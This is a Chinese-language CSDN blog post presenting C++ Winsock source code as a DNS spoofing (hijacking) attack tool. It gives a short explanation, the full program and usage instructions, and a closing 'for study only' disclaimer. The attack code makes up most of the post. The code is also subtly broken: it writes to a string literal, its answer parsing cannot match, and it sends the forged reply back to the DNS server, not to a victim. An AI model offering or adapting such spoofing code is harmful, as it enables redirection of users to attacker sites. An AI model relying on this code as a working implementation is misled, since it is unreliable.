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使用C++实现DNS欺骗攻击-CSDN博客

使用C++实现DNS欺骗攻击

DNS劫持是一种常见的网络攻击方式，通过篡改DNS响应数据，使得用户访问的网站被重定向到攻击者指定的恶意站点。本文将介绍如何使用C++编写一个简单的DNS欺骗程序，并给出相应的源代码。

DNS欺骗原理

在DNS查询过程中，当客户端向DNS服务器请求解析某个域名时，DNS服务器会返回该域名对应的IP地址。攻击者可以伪造DNS响应数据，使得客户端获取到错误的IP地址，从而将其重定向到指定的网站上。

实现代码

我们使用C++编写一个简单的DNS欺骗程序，使得当客户端请求解析特定的域名时，我们可以将其重定向到指定的IP地址。具体的代码如下：

#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>#pragma comment(lib, "ws2_32.lib")#define DNS_PORT 53
#define BUF_SIZE 512// DNS头部
typedef struct _DNS_HEADER {unsigned short id;unsigned short flags;unsigned short qcount;unsigned short acount;unsigned short nscount;unsigned short arcount;
} DNS_HEADER, *PDNS_HEADER;// 域名格式化函数
void format_domain_name(char* src, char* dst)
{int i, j = 0;strcat(src, ".");for (i = 0; i < strlen(src); ++i) {if (src[i] == '.') {*dst++ = i - j;for (; j < i; ++j) {*dst++ = src[j];}j++;}}*dst++ = '\0';
}// DNS查询
int dns_query(char* domain_name, char* dns_server_ip, char* fake_ip)
{WSADATA wsaData;int ret = WSAStartup(MAKEWORD(2, 2), &wsaData);if (ret != 0) {std::cout << "WSAStartup failed: " << ret << std::endl;return -1;}// 创建socketSOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (sock == INVALID_SOCKET) {std::cout << "Create socket failed: " << WSAGetLastError() << std::endl;return -1;}// DNS服务器地址sockaddr_in dns_addr;memset(&dns_addr, 0, sizeof(sockaddr_in));dns_addr.sin_family = AF_INET;dns_addr.sin_port = htons(DNS_PORT);inet_pton(AF_INET, dns_server_ip, &dns_addr.sin_addr.s_addr);// 构造DNS查询报文char buf[BUF_SIZE];memset(buf, 0, BUF_SIZE);DNS_HEADER* dns_header = (DNS_HEADER*)buf;dns_header->id = (unsigned short)GetTickCount();dns_header->flags = htons(0x0100);dns_header->qcount = htons(1);char* query = (char*)(dns_header + 1);format_domain_name(domain_name, query);unsigned short* qtype = (unsigned short*)(query + strlen((const char*)query) + 1);*qtype = htons(0x0001);unsigned short* qclass = (unsigned short*)(qtype + 1);*qclass = htons(0x0001);// 发送DNS查询ret = sendto(sock, buf, sizeof(DNS_HEADER) + strlen((const char*)query) + 5,0, (sockaddr*)&dns_addr, sizeof(dns_addr));if (ret == SOCKET_ERROR) {std::cout << "Send DNS query failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}// 接收DNS响应sockaddr_in from_addr;int from_len = sizeof(from_addr);ret = recvfrom(sock, buf, BUF_SIZE, 0, (sockaddr*)&from_addr, &from_len);if (ret == SOCKET_ERROR) {std::cout << "Receive DNS response failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}// 修改DNS响应DNS_HEADER* rsp_header = (DNS_HEADER*)buf;unsigned short answer_count = ntohs(rsp_header->acount);char* ptr = (char*)(rsp_header + 1);bool found = false;for (int i = 0; i < answer_count; ++i) {if (*ptr == 0xC0 && *(ptr + 2) == 0x01) {found = true;break;}ptr++;}if (found) {// 修改IP地址unsigned short* type = (unsigned short*)(ptr + 1);unsigned short* class_ = (unsigned short*)(type + 1);unsigned int* ttl = (unsigned int*)(class_ + 1);unsigned short* data_len = (unsigned short*)(ttl + 1);unsigned int* ip = (unsigned int*)(data_len + 1);*ip = inet_addr(fake_ip);} else {// 添加一个新的DNS响应char* new_rsp = ptr;format_domain_name("www.example.com", new_rsp);unsigned short* new_type = (unsigned short*)(new_rsp + strlen((const char*)new_rsp) + 1);*new_type = htons(0x0001);unsigned short* new_class_ = (unsigned short*)(new_type + 1);*new_class_ = htons(0x0001);unsigned int* new_ttl = (unsigned int*)(new_class_ + 1);*new_ttl = htonl(300);unsigned short* new_data_len = (unsigned short*)(new_ttl + 1);*new_data_len = htons(4);unsigned int* new_ip = (unsigned int*)(new_data_len + 1);*new_ip = inet_addr(fake_ip);rsp_header->acount = ntohs(answer_count + 1);}// 发送修改后的DNS响应ret = sendto(sock, buf, ret, 0, (sockaddr*)&from_addr, from_len);if (ret == SOCKET_ERROR) {std::cout << "Send modified DNS response failed: " << WSAGetLastError() << std::endl;closesocket(sock);return -1;}std::cout << "DNS query sent and response modified." << std::endl;closesocket(sock);WSACleanup();return 0;
}int main()
{// 使用192.168.1.1代替实际的DNS服务器IPdns_query("www.example.com", "192.168.1.1", "1.2.3.4");return 0;
}

使用方法

在DNS查询时，调用dns_query函数并传入相应的参数即可实现DNS欺骗攻击。其中，domain_name表示需要欺骗的域名，dns_server_ip表示实际DNS服务器的IP地址，fake_ip表示需要重定向到的IP地址。

注意事项

本文仅提供学习和研究使用，请勿用于非法用途。在实际应用中，还需要考虑更加复杂的攻击方式和防御措施。